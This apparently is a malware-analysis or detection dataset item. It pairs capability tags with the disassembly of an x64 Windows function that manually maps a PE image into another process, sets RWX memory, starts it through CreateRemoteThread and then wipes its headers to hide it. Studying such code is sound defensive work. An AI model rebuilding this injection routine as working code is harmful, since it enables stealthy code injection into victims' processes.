Function at 0x14001c3f0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x1290
call fcn.14000b770
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1230], rcx
mov qword [rbp + 0x1238], rdx
mov qword [rbp + 0x11e8], 0
mov qword [rbp + 0x11e0], 0
mov qword [rbp + 0x11d8], 0
mov qword [rbp + 0x11d0], 0
mov rax, qword [rbp + 0x1238]
movzx eax, word [rax]
cmp ax, 0x5a4d
jne 0x14001c4a5
mov ecx, 4
call fcn.14001ddd0
lea rax, [rbp + 0x1010]
mov rcx, rax
call fcn.1400bcc50
lea rax, [rbp + 0x1010]
mov rcx, rax
call fcn.1400249e0
mov rcx, rax
call fcn.14001dd00
cmp qword [rbp + 0x1238], 0
je 0x14001c49b
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
mov rax, qword [rbp + 0x1238]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x1238]
add rax, rdx
mov qword [rbp + 0x11e8], rax
mov rax, qword [rbp + 0x11e8]
add rax, 0x18
mov qword [rbp + 0x11e0], rax
mov rax, qword [rbp + 0x11e8]
add rax, 4
mov qword [rbp + 0x11d8], rax
mov rax, qword [rbp + 0x11d8]
movzx eax, word [rax]
cmp ax, 0x8664
je 0x14001c54a
mov ecx, 4
call fcn.14001ddd0
lea rax, [rbp + 0x1030]
mov rcx, rax
call fcn.1400bccb0
lea rax, [rbp + 0x1030]
mov rcx, rax
call fcn.140024aa0
mov rcx, rax
call fcn.14001dd00
cmp qword [rbp + 0x1238], 0
je 0x14001c540
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
mov ecx, 0
call fcn.14001ddd0
lea rax, [rbp + 0x1050]
mov rcx, rax
call fcn.1400bcc80
lea rax, [rbp + 0x1050]
mov rcx, rax
call fcn.140024ad0
mov rcx, rax
call fcn.14001dd00
mov ecx, 2
call fcn.14001ddd0
call fcn.1400bce60
mov dword [rbp + 0x106c], eax
lea rax, [rbp + 0x106c]
mov rcx, rax
call fcn.140024a10
mov rcx, rax
call fcn.14001dd00
mov ecx, 0
call fcn.14001ddd0
mov rax, qword [rbp + 0x11e0]
mov eax, dword [rax + 0x38]
mov edx, eax
mov rax, qword [rbp + 0x1230]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x11d0], rax
cmp qword [rbp + 0x11d0], 0
jne 0x14001c656
mov ecx, 4
call fcn.14001ddd0
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x1070]
mov rcx, rax
call fcn.1400bcb60
lea rax, [rbp + 0x1070]
mov rcx, rax
call fcn.140024a80
mov edx, ebx
mov rcx, rax
call fcn.14001dd00
cmp qword [rbp + 0x1238], 0
je 0x14001c64c
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
pxor xmm0, xmm0
movaps xmmword [rbp + 0xff0], xmm0
movaps xmmword [rbp + 0x1000], xmm0
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0xff0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xff8], rax
mov rax, qword [rbp + 0x11d0]
mov qword [rbp + 0x1000], rax
mov rcx, qword [rbp + 0x1238]
mov rdx, qword [rbp + 0x11d0]
mov rax, qword [rbp + 0x1230]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x14001c715
mov ecx, 4
call fcn.14001ddd0
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.1400bcb30
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.1400249d0
mov edx, ebx
mov rcx, rax
call fcn.14001dd00
mov eax, 0
jmp 0x14001d101
mov rax, qword [rbp + 0x11e8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x11e8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x1208], rax
mov dword [rbp + 0x1204], 0
jmp 0x14001c857
mov rax, qword [rbp + 0x1208]
mov eax, dword [rax + 0x10]
test eax, eax
je 0x14001c848
mov rax, qword [rbp + 0x1208]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x1208]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x1238]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x1208]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x11d0]
add rdx, rax
mov rax, qword [rbp + 0x1230]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x14001c848
mov ecx, 4
call fcn.14001ddd0
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x10b0]
mov rcx, rax
call fcn.1400bcb00
lea rax, [rbp + 0x10b0]
mov rcx, rax
call fcn.140024ac0
mov edx, ebx
mov rcx, rax
call fcn.14001dd00
cmp qword [rbp + 0x1238], 0
je 0x14001c818
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov rdx, qword [rbp + 0x11d0]
mov rax, qword [rbp + 0x1230]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov eax, 0
jmp 0x14001d101
add dword [rbp + 0x1204], 1
add qword [rbp + 0x1208], 0x28
mov rax, qword [rbp + 0x11d8]
movzx eax, word [rax + 2]
movzx eax, ax
cmp dword [rbp + 0x1204], eax
jne 0x14001c747
mov rax, qword [rbp + 0x1230]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x20
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x11c8], rax
cmp qword [rbp + 0x11c8], 0
jne 0x14001c8d1
cmp qword [rbp + 0x1238], 0
je 0x14001c8c7
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
lea rcx, [rbp + 0xff0]
mov rdx, qword [rbp + 0x11c8]
mov rax, qword [rbp + 0x1230]
mov qword [rsp + 0x20], 0
mov r9d, 0x20
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x14001c930
cmp qword [rbp + 0x1238], 0
je 0x14001c926
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
mov rax, qword [rbp + 0x1230]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x11c0], rax
cmp qword [rbp + 0x11c0], 0
jne 0x14001c9dc
mov rdx, qword [rbp + 0x11d0]
mov rax, qword [rbp + 0x1230]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rdx, qword [rbp + 0x11c8]
mov rax, qword [rbp + 0x1230]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
cmp qword [rbp + 0x1238], 0
je 0x14001c9d2
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
mov rdx, qword [rbp + 0x11c0]
mov rax, qword [rbp + 0x1230]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, [0x14001d110]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x14001ca38
cmp qword [rbp + 0x1238], 0
je 0x14001ca2e
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
mov ecx, 0
call fcn.14001ddd0
lea rax, [rbp + 0x10d0]
mov rcx, rax
call fcn.1400bcda0
lea rax, [rbp + 0x10d0]
mov rcx, rax
call fcn.140024a00
mov rcx, rax
call fcn.14001dd00
mov ecx, 2
call fcn.14001ddd0
lea rax, [rbp + 0x10ea]
mov rcx, rax
call fcn.1400bca40
lea rax, [rbp + 0x10ea]
mov rcx, rax
call fcn.1400249b0
mov rcx, rax
call fcn.14001dd00
mov ecx, 0
call fcn.14001ddd0
mov rcx, qword [rbp + 0x11c0]
mov rax, qword [rbp + 0x1230]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x11c8]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x11b8], rax
cmp qword [rbp + 0x11b8], 0
jne 0x14001cbc4
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x10f0]
mov rcx, rax
call fcn.1400bcb90
lea rax, [rbp + 0x10f0]
mov rcx, rax
call fcn.140024b90
mov edx, ebx
mov rcx, rax
call fcn.14001dd00
mov rdx, qword [rbp + 0x11d0]
mov rax, qword [rbp + 0x1230]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rdx, qword [rbp + 0x11c8]
mov rax, qword [rbp + 0x1230]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rdx, qword [rbp + 0x11c0]
mov rax, qword [rbp + 0x1230]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
cmp qword [rbp + 0x1238], 0
je 0x14001cbba
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
mov rax, qword [rbp + 0x11b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0
call fcn.14001ddd0
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.1400bcbf0
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.140024a90
mov rcx, rax
call fcn.14001dd00
mov ecx, 2
call fcn.14001ddd0
lea rax, [rbp + 0x1138]
mov rcx, rax
call fcn.1400bcf50
lea rax, [rbp + 0x1138]
mov rcx, rax
call fcn.140024af0
mov rcx, rax
mov rax, qword [rbp + 0x11c0]
mov rdx, rax
call fcn.14001dd00
mov ecx, 1
call fcn.14001ddd0
lea rax, [rbp + 0x113b]
mov rcx, rax
call fcn.1400bd090
lea rax, [rbp + 0x113b]
mov rcx, rax
call fcn.140024b80
mov rcx, rax
call fcn.14001dd00
mov ecx, 0
call fcn.14001ddd0
mov qword [rbp + 0x11f8], 0
jmp 0x14001ce20
mov dword [rbp - 0x14], 0
lea rdx, [rbp - 0x14]
mov rax, qword [rbp + 0x1230]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call rax
mov eax, dword [rbp - 0x14]
cmp eax, 0x103
je 0x14001cd0b
mov ecx, 4
call fcn.14001ddd0
mov ebx, dword [rbp - 0x14]
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.1400bcd10
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.140024ab0
mov edx, ebx
mov rcx, rax
call fcn.14001dd00
cmp qword [rbp + 0x1238], 0
je 0x14001cd01
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
pxor xmm0, xmm0
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp + 0x11c8]
mov rax, qword [rbp + 0x1230]
mov qword [rsp + 0x20], 0
mov r9d, 0x20
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x11f8], rax
cmp qword [rbp + 0x11f8], 0x404040
jne 0x14001cdb2
mov ecx, 4
call fcn.14001ddd0
lea rax, [rbp + 0x115b]
mov rcx, rax
call fcn.1400bcd70
lea rax, [rbp + 0x115b]
mov rcx, rax
call fcn.1400249a0
mov rcx, rax
call fcn.14001dd00
cmp qword [rbp + 0x1238], 0
je 0x14001cda8
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
cmp qword [rbp + 0x11f8], 0x606060
jne 0x14001ce12
mov ecx, 4
call fcn.14001ddd0
lea rax, [rbp + 0x1166]
mov rcx, rax
call fcn.1400bce00
lea rax, [rbp + 0x1166]
mov rcx, rax
call fcn.140024b30
mov rcx, rax
call fcn.14001dd00
cmp qword [rbp + 0x1238], 0
je 0x14001ce08
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
cmp qword [rbp + 0x11f8], 0
je 0x14001cc8b
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov rdx, rbp
mov eax, 0
mov ecx, 0x1fe
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp - 0x10]
mov r8d, 0x1000
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rcx, [rbp - 0x10]
mov rdx, qword [rbp + 0x11d0]
mov rax, qword [rbp + 0x1230]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
mov ecx, 0x100000
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x11b0], rax
cmp qword [rbp + 0x11b0], 0
jne 0x14001cf08
mov ecx, 4
call fcn.14001ddd0
lea rax, [rbp + 0x1170]
mov rcx, rax
call fcn.1400bd120
lea rax, [rbp + 0x1170]
mov rcx, rax
call fcn.140024c00
mov rcx, rax
call fcn.14001dd00
cmp qword [rbp + 0x1238], 0
je 0x14001cefe
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov eax, 0
jmp 0x14001d101
mov rax, qword [rbp + 0x11b0]
mov r8d, 0x100000
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [rbp + 0x11e8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x11e8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x1208], rax
mov dword [rbp + 0x11f4], 0
jmp 0x14001d06f
mov rax, qword [rbp + 0x1208]
mov eax, dword [rax + 0x10]
test eax, eax
je 0x14001d060
lea rax, [rbp + 0x119c]
mov rcx, rax
call fcn.1400bd000
lea rax, [rbp + 0x119c]
mov rcx, rax
call fcn.140024b40
mov rdx, rax
mov rax, qword [rbp + 0x1208]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x14001d002
lea rax, [rbp + 0x11a3]
mov rcx, rax
call fcn.1400bd060
lea rax, [rbp + 0x11a3]
mov rcx, rax
call fcn.140024ba0
mov rdx, rax
mov rax, qword [rbp + 0x1208]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x14001d002
lea rax, [rbp + 0x11a9]
mov rcx, rax
call fcn.1400bd030
lea rax, [rbp + 0x11a9]
mov rcx, rax
call fcn.140024b50
mov rdx, rax
mov rax, qword [rbp + 0x1208]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14001d009
mov eax, 1
jmp 0x14001d00e
mov eax, 0
test al, al
je 0x14001d060
mov rax, qword [rbp + 0x1208]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x1208]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x11d0]
add rdx, rax
mov rcx, qword [rbp + 0x11b0]
mov rax, qword [rbp + 0x1230]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
add dword [rbp + 0x11f4], 1
add qword [rbp + 0x1208], 0x28
mov rax, qword [rbp + 0x11d8]
movzx eax, word [rax + 2]
movzx eax, ax
cmp dword [rbp + 0x11f4], eax
jne 0x14001cf54
cmp qword [rbp + 0x1238], 0
je 0x14001d0a2
mov rax, qword [rbp + 0x1238]
mov rcx, rax
call fcn.1400bc9f0
mov rdx, qword [rbp + 0x11c0]
mov rax, qword [rbp + 0x1230]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rdx, qword [rbp + 0x11c8]
mov rax, qword [rbp + 0x1230]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, 1
add rsp, 0x1290
pop rbx
pop rdi
pop rbp
ret